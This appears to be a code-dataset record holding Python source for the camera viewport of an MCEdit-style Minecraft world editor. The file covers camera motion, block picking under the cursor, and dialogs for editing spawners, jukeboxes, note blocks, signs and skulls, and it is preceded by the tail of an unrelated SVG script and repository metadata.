calc_overall_bbox(flexed_paths[1]) dwg.viewbox(min(bbox[0], bbox[1]), -upper_sizes[1], abs(min(bbox[0], bbox[1]) -max(bbox[0], bbox[1], upper_sizes[0])), abs(bbox[3] - bbox[2])+upper_sizes[1]) dwg.save() dwg = Drawing("merge_output.svg", profile='tiny') for path in all_paths: dwg.add(dwg.path( **{'d': path.d(), 'fill': "none", 'stroke-width': 4, 'stroke': rgb(0, 0, 0)})) dwg.add(dwg.path(**{'d': merge_paths[0].d(), 'fill': "none", 'stroke-width': 4, 'stroke': rgb(255, 0, 0)})) dwg.add(dwg.path(**{'d': merge_paths[1].d(), 'fill': "none", 'stroke-width': 4, 'stroke': rgb(0, 255, 0)})) bbox = calc_overall_bbox([x for x in all_paths[0]] + [x for x in all_paths[1]]) dwg.viewbox(min(bbox[0], bbox[1]), min(bbox[2], bbox[3]), abs(bbox[1] - bbox[0]), abs(bbox[3] - bbox[2])) dwg.save()
true
true
f7f3b6fcff7cb52dac3d34e5349eda1515fc79ae
83,106
py
Python
viewports/camera.py
furminator/Furminator-MCPE-Tool
4fe247351503781db2012815c1e40e881d9e1bba
[ "0BSD" ]
null
null
null
viewports/camera.py
furminator/Furminator-MCPE-Tool
4fe247351503781db2012815c1e40e881d9e1bba
[ "0BSD" ]
null
null
null
viewports/camera.py
furminator/Furminator-MCPE-Tool
4fe247351503781db2012815c1e40e881d9e1bba
[ "0BSD" ]
null
null
null
# -*- coding: utf_8 -*- # The above line is necessary, unless we want problems with encodings... import sys from compass import CompassOverlay from raycaster import TooFarException import raycaster import keys import pygame import math import copy import numpy from config import config import frustum import logging import glutils import mceutils import itertools import pymclevel from math import isnan from datetime import datetime, timedelta from OpenGL import GL from OpenGL import GLU from albow import alert, AttrRef, Button, Column, input_text, Row, TableColumn, TableView, Widget, CheckBox, \ TextFieldWrapped, MenuButton, ChoiceButton, IntInputRow, TextInputRow, showProgress, IntField, ask from albow.controls import Label, ValueDisplay from albow.dialogs import Dialog, wrapped_label from albow.openglwidgets import GLViewport from albow.extended_widgets import BasicTextInputRow, CheckBoxLabel from albow.translate import _ from albow.root import get_top_widget from pygame import mouse from depths import DepthOffset from editortools.operation import Operation from glutils import gl from editortools.nbtexplorer import SlotEditor class SignEditOperation(Operation): def __init__(self, tool, level, tileEntity, backupTileEntity): self.tool = tool self.level = level self.tileEntity = tileEntity self.undoBackupEntityTag = backupTileEntity self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(self.tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(self.tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(self.tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(self.tileEntity), (1, 1, 1)) class CameraViewport(GLViewport): anchor = "tlbr" oldMousePosition = None dontShowMessageAgain = False def __init__(self, editor, def_enc=None): self.editor = editor global DEF_ENC DEF_ENC = def_enc or editor.mcedit.def_enc rect = editor.mcedit.rect GLViewport.__init__(self, rect) # Declare a pseudo showCommands function, since it is called by other objects before its creation in mouse_move. self.showCommands = lambda:None near = 0.5 far = 4000.0 self.near = near self.far = far self.brake = False self.lastTick = datetime.now() # self.nearheight = near * tang self.cameraPosition = (16., 45., 16.) self.velocity = [0., 0., 0.] self.yaw = -45. # degrees self._pitch = 0.1 self.cameraVector = self._cameraVector() # A state machine to dodge an apparent bug in pygame that generates erroneous mouse move events # 0 = bad event already happened # 1 = app just started or regained focus since last bad event # 2 = mouse cursor was hidden after state 1, next event will be bad self.avoidMouseJumpBug = 1 config.settings.drawSky.addObserver(self) config.settings.drawFog.addObserver(self) config.settings.superSecretSettings.addObserver(self) config.settings.showCeiling.addObserver(self) config.controls.cameraAccel.addObserver(self, "accelFactor") config.controls.cameraMaxSpeed.addObserver(self, "maxSpeed") config.controls.cameraBrakingSpeed.addObserver(self, "brakeMaxSpeed") config.controls.invertMousePitch.addObserver(self) config.controls.autobrake.addObserver(self) config.controls.swapAxes.addObserver(self) config.settings.compassToggle.addObserver(self) config.settings.fov.addObserver(self, "fovSetting", callback=self.updateFov) self.mouseVector = (0, 0, 0) self.root = self.get_root() self.hoveringCommandBlock = [False, ""] self.block_info_parsers = None # self.add(DebugDisplay(self, "cameraPosition", "blockFaceUnderCursor", "mouseVector", "mouse3dPoint")) @property def pitch(self): return self._pitch @pitch.setter def pitch(self, val): self._pitch = min(89.999, max(-89.999, val)) def updateFov(self, val=None): hfov = self.fovSetting fov = numpy.degrees(2.0 * numpy.arctan(self.size[0] / self.size[1] * numpy.tan(numpy.radians(hfov) * 0.5))) self.fov = fov self.tang = numpy.tan(numpy.radians(fov)) def stopMoving(self): self.velocity = [0, 0, 0] def brakeOn(self): self.brake = True def brakeOff(self): self.brake = False tickInterval = 1000 / config.settings.targetFPS.get() oldPosition = (0, 0, 0) flyMode = config.settings.flyMode.property() def tickCamera(self, frameStartTime, inputs, inSpace): timePassed = (frameStartTime - self.lastTick).microseconds if timePassed <= self.tickInterval * 1000 or not pygame.key.get_focused(): return self.lastTick = frameStartTime timeDelta = float(timePassed) / 1000000. timeDelta = min(timeDelta, 0.125) # 8fps lower limit! drag = config.controls.cameraDrag.get() accel_factor = drag + config.controls.cameraAccel.get() # if we're in space, move faster drag_epsilon = 10.0 * timeDelta if self.brake: max_speed = self.brakeMaxSpeed else: max_speed = self.maxSpeed if inSpace or self.root.sprint: accel_factor *= 3.0 max_speed *= 3.0 self.root.sprint = False elif config.settings.viewMode.get() == "Chunk": accel_factor *= 2.0 max_speed *= 2.0 pi = self.editor.cameraPanKeys mouseSpeed = config.controls.mouseSpeed.get() self.yaw += pi[0] * mouseSpeed self.pitch += pi[1] * mouseSpeed if config.settings.viewMode.get() == "Chunk": (dx, dy, dz) = (0, -0.25, -1) self.yaw = -180 self.pitch = 10 elif self.flyMode: (dx, dy, dz) = self._anglesToVector(self.yaw, 0) elif self.swapAxes: p = self.pitch if p > 80: p = 0 (dx, dy, dz) = self._anglesToVector(self.yaw, p) else: (dx, dy, dz) = self._cameraVector() velocity = self.velocity # xxx learn to use matrix/vector libs i = inputs yaw = numpy.radians(self.yaw) cosyaw = -numpy.cos(yaw) sinyaw = numpy.sin(yaw) directedInputs = mceutils.normalize(( i[0] * cosyaw + i[2] * dx, i[1] + i[2] * dy, i[2] * dz - i[0] * sinyaw, )) # give the camera an impulse according to the state of the inputs and in the direction of the camera cameraAccel = map(lambda x: x * accel_factor * timeDelta, directedInputs) # cameraImpulse = map(lambda x: x*impulse_factor, directedInputs) newVelocity = map(lambda a, b: a + b, velocity, cameraAccel) velocityDir, speed = mceutils.normalize_size(newVelocity) # apply drag if speed: if self.autobrake and not any(inputs): speed *= 0.15 else: sign = speed / abs(speed) speed = abs(speed) speed = speed - (drag * timeDelta) if speed < 0.0: speed = 0.0 speed *= sign speed = max(-max_speed, min(max_speed, speed)) if abs(speed) < drag_epsilon: speed = 0 velocity = map(lambda a: a * speed, velocityDir) # velocity = map(lambda p,d: p + d, velocity, cameraImpulse) d = map(lambda a, b: abs(a - b), self.cameraPosition, self.oldPosition) if d[0] + d[2] > 32.0: self.oldPosition = self.cameraPosition self.updateFloorQuad() self.cameraPosition = map(lambda p, d: p + d * timeDelta, self.cameraPosition, velocity) if self.cameraPosition[1] > 3800.: self.cameraPosition[1] = 3800. elif self.cameraPosition[1] < -1000.: self.cameraPosition[1] = -1000. self.velocity = velocity self.cameraVector = self._cameraVector() self.editor.renderer.position = self.cameraPosition if self.editor.currentTool.previewRenderer: self.editor.currentTool.previewRenderer.position = self.cameraPosition def setModelview(self): pos = self.cameraPosition look = numpy.array(self.cameraPosition) look = look.astype(float) + self.cameraVector up = (0, 1, 0) GLU.gluLookAt(pos[0], pos[1], pos[2], look[0], look[1], look[2], up[0], up[1], up[2]) def _cameraVector(self): return self._anglesToVector(self.yaw, self.pitch) @staticmethod def _anglesToVector(yaw, pitch): def nanzero(x): if isnan(x): return 0 else: return x dx = -math.sin(math.radians(yaw)) * math.cos(math.radians(pitch)) dy = -math.sin(math.radians(pitch)) dz = math.cos(math.radians(yaw)) * math.cos(math.radians(pitch)) return map(nanzero, [dx, dy, dz]) def updateMouseVector(self): self.mouseVector = self._mouseVector() def _mouseVector(self): """ returns a vector reflecting a ray cast from the camera position to the mouse position on the near plane """ x, y = mouse.get_pos() # if (x, y) not in self.rect: # return (0, 0, 0); # xxx y = self.root.height - y point1 = unproject(x, y, 0.0) point2 = unproject(x, y, 1.0) v = numpy.array(point2) - point1 v = mceutils.normalize(v) return v def _blockUnderCursor(self, center=False): """ returns a point in 3d space that was determined by reading the depth buffer value """ try: GL.glReadBuffer(GL.GL_BACK) except Exception: logging.exception('Exception during glReadBuffer') ws = self.root.size if center: x, y = ws x //= 2 y //= 2 else: x, y = mouse.get_pos() if (x < 0 or y < 0 or x >= ws[0] or y >= ws[1]): return 0, 0, 0 y = ws[1] - y try: pixel = GL.glReadPixels(x, y, 1, 1, GL.GL_DEPTH_COMPONENT, GL.GL_FLOAT) newpoint = unproject(x, y, pixel[0]) except Exception: return 0, 0, 0 return newpoint def updateBlockFaceUnderCursor(self): focusPair = None if not self.enableMouseLag or self.editor.frames & 1: self.updateMouseVector() if self.editor.mouseEntered: if not self.mouseMovesCamera: try: focusPair = raycaster.firstBlock(self.cameraPosition, self._mouseVector(), self.editor.level, 100, config.settings.viewMode.get()) except TooFarException: mouse3dPoint = self._blockUnderCursor() focusPair = self._findBlockFaceUnderCursor(mouse3dPoint) elif self.editor.longDistanceMode: mouse3dPoint = self._blockUnderCursor(True) focusPair = self._findBlockFaceUnderCursor(mouse3dPoint) # otherwise, find the block at a controllable distance in front of the camera if focusPair is None: if self.blockFaceUnderCursor is None or self.mouseMovesCamera: focusPair = (self.getCameraPoint(), (0, 0, 0)) else: focusPair = self.blockFaceUnderCursor try: if focusPair[0] is not None and self.editor.level.tileEntityAt(*focusPair[0]): changed = False te = self.editor.level.tileEntityAt(*focusPair[0]) backupTE = copy.deepcopy(te) if te["id"].value == "Sign" or self.editor.level.defsIds.mcedit_ids.get(te["id"].value) in ("DEF_BLOCKS_STANDING_SIGN", "DEFS_BLOCKS_WALL_SIGN"): if "Text1" in te and "Text2" in te and "Text3" in te and "Text4" in te: for i in xrange(1,5): if len(te["Text"+str(i)].value) > 32767: te["Text"+str(i)] = pymclevel.TAG_String(str(te["Text"+str(i)].value)[:32767]) changed = True if changed: response = None if not self.dontShowMessageAgain: response = ask("Found a sign that exceeded the maximum character limit. Automatically trimmed the sign to prevent crashes.", responses=["Ok", "Don't show this again"]) if response is not None and response == "Don't show this again": self.dontShowMessageAgain = True op = SignEditOperation(self.editor, self.editor.level, te, backupTE) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() except: pass self.blockFaceUnderCursor = focusPair def _findBlockFaceUnderCursor(self, projectedPoint): """Returns a (pos, Face) pair or None if one couldn't be found""" d = [0, 0, 0] try: intProjectedPoint = map(int, map(numpy.floor, projectedPoint)) except ValueError: return None # catch NaNs intProjectedPoint[1] = max(-1, intProjectedPoint[1]) # find out which face is under the cursor. xxx do it more precisely faceVector = ((projectedPoint[0] - (intProjectedPoint[0] + 0.5)), (projectedPoint[1] - (intProjectedPoint[1] + 0.5)), (projectedPoint[2] - (intProjectedPoint[2] + 0.5)) ) av = map(abs, faceVector) i = av.index(max(av)) delta = faceVector[i] if delta < 0: d[i] = -1 else: d[i] = 1 potentialOffsets = [] try: block = self.editor.level.blockAt(*intProjectedPoint) except (EnvironmentError, pymclevel.ChunkNotPresent): return intProjectedPoint, d if block == pymclevel.alphaMaterials.SnowLayer.ID: potentialOffsets.append((0, 1, 0)) else: # discard any faces that aren't likely to be exposed for face, offsets in pymclevel.faceDirections: point = map(lambda a, b: a + b, intProjectedPoint, offsets) try: neighborBlock = self.editor.level.blockAt(*point) if block != neighborBlock: potentialOffsets.append(offsets) except (EnvironmentError, pymclevel.ChunkNotPresent): pass # check each component of the face vector to see if that face is exposed if tuple(d) not in potentialOffsets: av[i] = 0 i = av.index(max(av)) d = [0, 0, 0] delta = faceVector[i] if delta < 0: d[i] = -1 else: d[i] = 1 if tuple(d) not in potentialOffsets: av[i] = 0 i = av.index(max(av)) d = [0, 0, 0] delta = faceVector[i] if delta < 0: d[i] = -1 else: d[i] = 1 if tuple(d) not in potentialOffsets: if len(potentialOffsets): d = potentialOffsets[0] else: # use the top face as a fallback d = [0, 1, 0] return intProjectedPoint, d @property def ratio(self): return self.width / float(self.height) startingMousePosition = None def mouseLookOn(self): self.root.capture_mouse(self) self.focus_switch = None self.startingMousePosition = mouse.get_pos() if self.avoidMouseJumpBug == 1: self.avoidMouseJumpBug = 2 def mouseLookOff(self): self.root.capture_mouse(None) if self.startingMousePosition: mouse.set_pos(*self.startingMousePosition) self.startingMousePosition = None @property def mouseMovesCamera(self): return self.root.captured_widget is not None def toggleMouseLook(self): if not self.mouseMovesCamera: self.mouseLookOn() else: self.mouseLookOff() # mobs is overrided in __init__ mobs = pymclevel.Entity.monsters + ["[Custom]"] @mceutils.alertException def editMonsterSpawner(self, point): mobs = self.mobs _mobs = {} # Get the mobs from the versionned data defsIds = self.editor.level.defsIds mcedit_defs = defsIds.mcedit_defs mcedit_ids = defsIds.mcedit_ids if mcedit_defs.get('spawner_monsters'): mobs = [] for a in mcedit_defs['spawner_monsters']: _id = mcedit_ids[a] name = _(mcedit_defs[_id]['name']) _mobs[name] = a _mobs[a] = name mobs.append(name) tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) if not tileEntity: tileEntity = pymclevel.TAG_Compound() tileEntity["id"] = pymclevel.TAG_String(mcedit_defs.get("MobSpawner", "MobSpawner")) tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) tileEntity["Delay"] = pymclevel.TAG_Short(120) tileEntity["EntityId"] = pymclevel.TAG_String(mcedit_defs.get(mobs[0], mobs[0])) self.editor.level.addTileEntity(tileEntity) panel = Dialog() def addMob(id): if id not in mobs: mobs.insert(0, id) mobTable.selectedIndex = 0 def selectTableRow(i, evt): if mobs[i] == "[Custom]": id = input_text("Type in an EntityID for this spawner. Invalid IDs may crash Minecraft.", 150) if id: addMob(id) else: return mobTable.selectedIndex = mobs.index(id) else: mobTable.selectedIndex = i if evt.num_clicks == 2: panel.dismiss() mobTable = TableView(columns=( TableColumn("", 200), ) ) mobTable.num_rows = lambda: len(mobs) mobTable.row_data = lambda i: (mobs[i],) mobTable.row_is_selected = lambda x: x == mobTable.selectedIndex mobTable.click_row = selectTableRow mobTable.selectedIndex = 0 def selectedMob(): val = mobs[mobTable.selectedIndex] return _mobs.get(val, val) def cancel(): mobs[mobTable.selectedIndex] = id panel.dismiss() if "EntityId" in tileEntity: _id = tileEntity["EntityId"].value elif "SpawnData" in tileEntity: _id = tileEntity["SpawnData"]["id"].value else: _id = "[Custom]" # Something weird here since the first implementation of the versionned definition. # It may happen 'mcedit_defs.get(mcedit_ids.get(_id, _id), {}).get("name", _id)' # does not return the wanted data (dict). # Could not yet debug that, but I guess it is related to the versionned data loading... # -- D.C.-G. # print mcedit_ids.get(_id, _id) # print mcedit_defs.get(mcedit_ids.get(_id, _id), {}) _id2 = mcedit_defs.get(mcedit_ids.get(_id, _id), {}) if isinstance(_id2, (str, unicode)): _id = _id2 id = mcedit_defs.get(mcedit_ids.get(_id, _id), {}).get("name", _id) addMob(id) mobTable.selectedIndex = mobs.index(id) oldChoiceCol = Column((Label(_("Current: ") + _mobs.get(id, id), align='l', width=200), )) newChoiceCol = Column((ValueDisplay(width=200, get_value=lambda: _("Change to: ") + selectedMob()), mobTable)) lastRow = Row((Button("OK", action=panel.dismiss), Button("Cancel", action=cancel))) panel.add(Column((oldChoiceCol, newChoiceCol, lastRow))) panel.shrink_wrap() panel.present() class MonsterSpawnerEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) if id != selectedMob(): # If the level has a 'setSpawnerData, call it instead of using the code here if hasattr(self.editor.level, "setSpawnerData"): tileEntity = self.editor.level.setSpawnerData(tileEntity, selectedMob()) else: if "EntityId" in tileEntity: tileEntity["EntityId"] = pymclevel.TAG_String(selectedMob()) if "SpawnData" in tileEntity: # Try to not clear the spawn data, but only update the mob id # tileEntity["SpawnData"] = pymclevel.TAG_Compound() tag_id = pymclevel.TAG_String(selectedMob()) if "id" in tileEntity["SpawnData"]: tag_id.name = "id" tileEntity["SpawnData"]["id"] = tag_id if "EntityId" in tileEntity["SpawnData"]: tileEntity["SpawnData"]["EntityId"] = tag_id if "SpawnPotentials" in tileEntity: for potential in tileEntity["SpawnPotentials"]: if "Entity" in potential: # MC 1.9+ if potential["Entity"]["id"].value == id or ("EntityId" in potential["Entity"] and potential["Entity"]["EntityId"].value == id): potential["Entity"] = pymclevel.TAG_Compound() potential["Entity"]["id"] = pymclevel.TAG_String(selectedMob()) elif "Properties" in potential: # MC before 1.9 if "Type" in potential and potential["Type"].value == id: potential["Type"] = pymclevel.TAG_String(selectedMob()) # We also can change some other values in the Properties tag, but it is useless in MC 1.8+. # The fact is this data will not be updated by the game after the mob type is changed, but the old mob will not spawn. # put_entityid = False # put_id = False # if "EntityId" in potential["Properties"] and potential["Properties"]["EntityId"].value == id: # put_entityid = True # if "id" in potential["Properties"] and potential["Properties"]["id"].value == id: # put_id = True # new_props = pymclevel.TAG_Compound() # if put_entityid: # new_props["EntityId"] = pymclevel.TAG_String(selectedMob()) # if put_id: # new_props["id"] = pymclevel.TAG_String(selectedMob()) # potential["Properties"] = new_props op = MonsterSpawnerEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() @mceutils.alertException def editJukebox(self, point): discs = { "[No Record]": None, "13": 2256, "cat": 2257, "blocks": 2258, "chirp": 2259, "far": 2260, "mall": 2261, "mellohi": 2262, "stal": 2263, "strad": 2264, "ward": 2265, "11": 2266, "wait": 2267 } tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) if not tileEntity: tileEntity = pymclevel.TAG_Compound() tileEntity["id"] = pymclevel.TAG_String("RecordPlayer") tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) self.editor.level.addTileEntity(tileEntity) panel = Dialog() def selectTableRow(i, evt): discTable.selectedIndex = i if evt.num_clicks == 2: panel.dismiss() discTable = TableView(columns=( TableColumn("", 200), ) ) discTable.num_rows = lambda: len(discs) discTable.row_data = lambda i: (selectedDisc(i),) discTable.row_is_selected = lambda x: x == discTable.selectedIndex discTable.click_row = selectTableRow discTable.selectedIndex = 0 def selectedDisc(id): if id == 0: return "[No Record]" return discs.keys()[discs.values().index(id + 2255)] def cancel(): if id == "[No Record]": discTable.selectedIndex = 0 else: discTable.selectedIndex = discs[id] - 2255 panel.dismiss() if "RecordItem" in tileEntity: if tileEntity["RecordItem"]["id"].value == "minecraft:air": id = "[No Record]" else: id = tileEntity["RecordItem"]["id"].value[17:] elif "Record" in tileEntity: if tileEntity["Record"].value == 0: id = "[No Record]" else: id = selectedDisc(tileEntity["Record"].value - 2255) else: id = "[No Record]" if id == "[No Record]": discTable.selectedIndex = 0 else: discTable.selectedIndex = discs[id] - 2255 oldChoiceCol = Column((Label(_("Current: ") + id, align='l', width=200), )) newChoiceCol = Column((ValueDisplay(width=200, get_value=lambda: _("Change to: ") + selectedDisc(discTable.selectedIndex)), discTable)) lastRow = Row((Button("OK", action=panel.dismiss), Button("Cancel", action=cancel))) panel.add(Column((oldChoiceCol, newChoiceCol, lastRow))) panel.shrink_wrap() panel.present() class JukeboxEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) if id != selectedDisc(discTable.selectedIndex): if "RecordItem" in tileEntity: del tileEntity["RecordItem"] if discTable.selectedIndex == 0: tileEntity["Record"] = pymclevel.TAG_Int(0) self.editor.level.setBlockDataAt(tileEntity["x"].value, tileEntity["y"].value, tileEntity["z"].value, 0) else: tileEntity["Record"] = pymclevel.TAG_Int(discTable.selectedIndex + 2255) self.editor.level.setBlockDataAt(tileEntity["x"].value, tileEntity["y"].value, tileEntity["z"].value, 1) op = JukeboxEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() @mceutils.alertException def editNoteBlock(self, point): notes = [ "F# (0.5)", "G (0.53)", "G# (0.56)", "A (0.6)", "A# (0.63)", "B (0.67)", "C (0.7)", "C# (0.75)", "D (0.8)", "D# (0.85)", "E (0.9)", "F (0.95)", "F# (1.0)", "G (1.05)", "G# (1.1)", "A (1.2)", "A# (1.25)", "B (1.32)", "C (1.4)", "C# (1.5)", "D (1.6)", "D# (1.7)", "E (1.8)", "F (1.9)", "F# (2.0)" ] tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) if not tileEntity: tileEntity = pymclevel.TAG_Compound() tileEntity["id"] = pymclevel.TAG_String(self.editor.level.defsIds.mcedit_defs.get("MobSpawner", "MobSpawner")) tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) tileEntity["note"] = pymclevel.TAG_Byte(0) self.editor.level.addTileEntity(tileEntity) panel = Dialog() def selectTableRow(i, evt): noteTable.selectedIndex = i if evt.num_clicks == 2: panel.dismiss() noteTable = TableView(columns=( TableColumn("", 200), ) ) noteTable.num_rows = lambda: len(notes) noteTable.row_data = lambda i: (notes[i],) noteTable.row_is_selected = lambda x: x == noteTable.selectedIndex noteTable.click_row = selectTableRow noteTable.selectedIndex = 0 def selectedNote(): return notes[noteTable.selectedIndex] def cancel(): noteTable.selectedIndex = id panel.dismiss() id = tileEntity["note"].value noteTable.selectedIndex = id oldChoiceCol = Column((Label(_("Current: ") + notes[id], align='l', width=200), )) newChoiceCol = Column((ValueDisplay(width=200, get_value=lambda: _("Change to: ") + selectedNote()), noteTable)) lastRow = Row((Button("OK", action=panel.dismiss), Button("Cancel", action=cancel))) panel.add(Column((oldChoiceCol, newChoiceCol, lastRow))) panel.shrink_wrap() panel.present() class NoteBlockEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) if id != noteTable.selectedIndex: tileEntity["note"] = pymclevel.TAG_Byte(noteTable.selectedIndex) op = NoteBlockEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() @mceutils.alertException def editSign(self, point): tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) linekeys = ["Text" + str(i) for i in xrange(1, 5)] # From version 1.8, signs accept Json format. # 1.9 does no more support the old raw string fomat. splitVersion = self.editor.level.gameVersion.split('.') newFmtVersion = ['1','9'] fmt = "" json_fmt = False f = lambda a,b: (a + (['0'] * max(len(b) - len(a), 0)), b + (['0'] * max(len(a) - len(b), 0))) if False not in map(lambda x,y: (int(x) if x.isdigit() else x) >= (int(y) if y.isdigit() else y),*f(splitVersion, newFmtVersion))[:2]: json_fmt = True fmt = '{"text":""}' if not tileEntity: tileEntity = pymclevel.TAG_Compound() # Don't know how to handle the difference between wall and standing signs for now... # Just let this like it is until we can find the way! tileEntity["id"] = pymclevel.TAG_String("Sign") tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) for l in linekeys: tileEntity[l] = pymclevel.TAG_String(fmt) self.editor.level.addTileEntity(tileEntity) panel = Dialog() lineFields = [TextFieldWrapped(width=400) for l in linekeys] for l, f in zip(linekeys, lineFields): f.value = tileEntity[l].value # Double quotes handling for olf sign text format. if f.value == 'null': f.value = fmt elif json_fmt and f.value == '': f.value = fmt else: if f.value.startswith('"') and f.value.endswith('"'): f.value = f.value[1:-1] if '\\"' in f.value: f.value = f.value.replace('\\"', '"') colors = [ u"§0 Black", u"§1 Dark Blue", u"§2 Dark Green", u"§3 Dark Aqua", u"§4 Dark Red", u"§5 Dark Purple", u"§6 Gold", u"§7 Gray", u"§8 Dark Gray", u"§9 Blue", u"§a Green", u"§b Aqua", u"§c Red", u"§d Light Purple", u"§e Yellow", u"§f White", ] def menu_picked(index): c = u"§%d"%index currentField = panel.focus_switch.focus_switch currentField.text += c # xxx view hierarchy currentField.insertion_point = len(currentField.text) def changeSign(): unsavedChanges = False fmt = '"{}"' u_fmt = u'"%s"' if json_fmt: fmt = '{}' u_fmt = u'%s' for l, f in zip(linekeys, lineFields): oldText = fmt.format(tileEntity[l]) tileEntity[l] = pymclevel.TAG_String(u_fmt%f.value[:255]) if fmt.format(tileEntity[l]) != oldText and not unsavedChanges: unsavedChanges = True if unsavedChanges: op = SignEditOperation(self.editor, self.editor.level, tileEntity, undoBackupEntityTag) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() panel.dismiss() colorMenu = MenuButton("Add Color Code...", colors, menu_picked=menu_picked) row = Row((Button("OK", action=changeSign), Button("Cancel", action=panel.dismiss))) column = [Label("Edit Sign")] + lineFields + [colorMenu, row] panel.add(Column(column)) panel.shrink_wrap() panel.present() @mceutils.alertException def editSkull(self, point): tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) skullTypes = { "Skeleton": 0, "Wither Skeleton": 1, "Zombie": 2, "Player": 3, "Creeper": 4, } inverseSkullType = { 0: "Skeleton", 1: "Wither Skeleton", 2: "Zombie", 3: "Player", 4: "Creeper", } if not tileEntity: tileEntity = pymclevel.TAG_Compound() # Don't know how to handle the difference between skulls in this context signs for now... # Tests nedded! tileEntity["id"] = pymclevel.TAG_String("Skull") tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) tileEntity["SkullType"] = pymclevel.TAG_Byte(3) self.editor.level.addTileEntity(tileEntity) titleLabel = Label("Edit Skull Data") usernameField = TextFieldWrapped(width=150) panel = Dialog() skullMenu = ChoiceButton(map(str, skullTypes)) if "Owner" in tileEntity: usernameField.value = str(tileEntity["Owner"]["Name"].value) elif "ExtraType" in tileEntity: usernameField.value = str(tileEntity["ExtraType"].value) else: usernameField.value = "" oldUserName = usernameField.value skullMenu.selectedChoice = inverseSkullType[tileEntity["SkullType"].value] oldSelectedSkull = skullMenu.selectedChoice class SkullEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def updateSkull(): if usernameField.value != oldUserName or oldSelectedSkull != skullMenu.selectedChoice: tileEntity["ExtraType"] = pymclevel.TAG_String(usernameField.value) tileEntity["SkullType"] = pymclevel.TAG_Byte(skullTypes[skullMenu.selectedChoice]) if "Owner" in tileEntity: del tileEntity["Owner"] op = SkullEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() chunk = self.editor.level.getChunk(int(int(point[0]) / 16), int(int(point[2]) / 16)) chunk.dirty = True panel.dismiss() okBTN = Button("OK", action=updateSkull) cancel = Button("Cancel", action=panel.dismiss) column = [titleLabel, usernameField, skullMenu, okBTN, cancel] panel.add(Column(column)) panel.shrink_wrap() panel.present() 